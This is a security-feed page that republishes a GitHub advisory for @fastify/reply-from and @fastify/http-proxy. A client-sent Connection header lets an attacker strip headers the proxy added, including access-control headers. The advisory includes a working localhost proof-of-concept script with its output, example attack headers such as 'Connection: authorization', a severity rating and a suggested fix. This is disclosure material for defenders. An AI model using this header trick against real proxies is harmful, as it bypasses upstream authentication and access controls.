Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 12:00 UTC Customize Public modeDiscuss ChangeIntel on Discord

Fastify's connection header abuse enables stripping of proxy-added headers

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-gwhp-pf74-vj37

Published

### Summary `@fastify/reply-from` and `@fastify/http-proxy` process the client's `Connection` header after the proxy has added its own headers via `rewriteRequestHeaders`. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the `Connection` header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes. ### Details The vulnerability exists in `@fastify/reply-from/lib/request.js` at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is: 1. Client headers are copied including the `connection` header (`@fastify/reply-from/index.js` line 91) 2. The proxy adds custom headers via `rewriteRequestHeaders` (line 151) 3. During request construction, the transport handlers read the client's `Connection` header and strip any headers listed in it 4. This stripping happens after `rewriteRequestHeaders`, allowing clients to target proxy-added headers for removal RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set. The call chain: 1. `@fastify/reply-from/index.js` line 91: `headers = { ...req.headers }` — copies ALL client headers including `connection` 2. `index.js` line 151: `requestHeaders = rewriteRequestHeaders(this.request, headers)` — proxy adds custom headers (e.g., `x-forwarded-by`) 3. `index.js` line 180: `requestImpl({...headers: requestHeaders...})` — passes headers to transport 4. `request.js` line 191 (undici): `getConnectionHeaders(req.headers)` — reads Connection header FROM THE CLIENT 5. `request.js` lines 198-200: Strips headers listed in Connection — including proxy-added headers This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's `rewriteRequestHeaders` function. ### PoC Self-contained reproduction with an upstream echo service and a proxy that adds a custom header: ```javascript const fastify = require('fastify'); async function test() { // Upstream service that echoes headers const upstream = fastify({ logger: false }); upstream.get('/api/echo-headers', async (request) => { return { headers: request.headers }; }); await upstream.listen({ port: 19801 }); // Proxy that adds a custom header via rewriteRequestHeaders const proxy = fastify({ logger: false }); await proxy.register(require('@fastify/reply-from'), { base: 'http://localhost:19801' }); proxy.get('/proxy/*', async (request, reply) => { const target = '/' + (request.params['*'] || ''); return reply.from(target, { rewriteRequestHeaders: (originalReq, headers) => { return { ...headers, 'x-forwarded-by': 'fastify-proxy' }; } }); }); await proxy.listen({ port: 19800 }); // Baseline: proxy adds x-forwarded-by header const res1 = await proxy.inject({ method: 'GET', url: '/proxy/api/echo-headers' }); console.log('Baseline response headers from upstream:'); const body1 = JSON.parse(res1.body); console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT'); // Attack: Connection header strips the proxy-added header const res2 = await proxy.inject({ method: 'GET', url: '/proxy/api/echo-headers', headers: { 'connection': 'x-forwarded-by' } }); console.log('\nAttack response headers from upstream:'); const body2 = JSON.parse(res2.body); console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)'); await proxy.close(); await upstream.close(); } test(); ``` Actual output: ``` Baseline response headers from upstream: x-forwarded-by: fastify-proxy Attack response headers from upstream: x-forwarded-by: NOT PRESENT (stripped!) ``` The `x-forwarded-by` header that the proxy explicitly added in `rewriteRequestHeaders` is stripped before reaching the upstream. Multiple headers can be stripped at once by sending `Connection: x-forwarded-by, x-forwarded-for`. Both the undici (default) and HTTP/1.1 transport handlers in `@fastify/reply-from` are affected, as well as `@fastify/http-proxy` which delegates to `@fastify/reply-from`. ### Impact Attackers can selectively remove any header added by the proxy's `rewriteRequestHeaders` function. This enables several attack scenarios: 1. **Bypass proxy identification**: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests 2. **Circumvent access control**: If the proxy adds headers used for routing, authorization, or security decisions (e.g., `x-internal-auth`, `x-proxy-token`), attackers can strip them to access unauthorized resources 3. **Remove arbitrary headers**: Any header can be targeted, including `Connection: authorization` to strip authentication or `Connection: x-forwarded-for, x-forwarded-by` to remove multiple headers at once This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals. ### Affected Versions - `@fastify/reply-from` — All versions, both undici (default) and HTTP/1.1 transport handlers - `@fastify/http-proxy` — All versions (delegates to `@fastify/reply-from`) - Any configuration using `rewriteRequestHeaders` to add headers that could be security-relevant - No special configuration required to exploit — works with default settings ### Suggested Fix The Connection header from the client should be processed and consumed before `rewriteRequestHeaders` is called, not after. Alternatively, the Connection header processing in `request.js` should maintain a list of headers that existed in the original client request and only strip those, not headers added by `rewriteRequestHeaders`.

Source published
16 Apr 2026 01:02:59 UTC
Source modified
10 Sep 2026 03:51:01 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 1 Nov 12:00 UTC · 274 of 275 readable · 269 fully read · documentation 469/469 current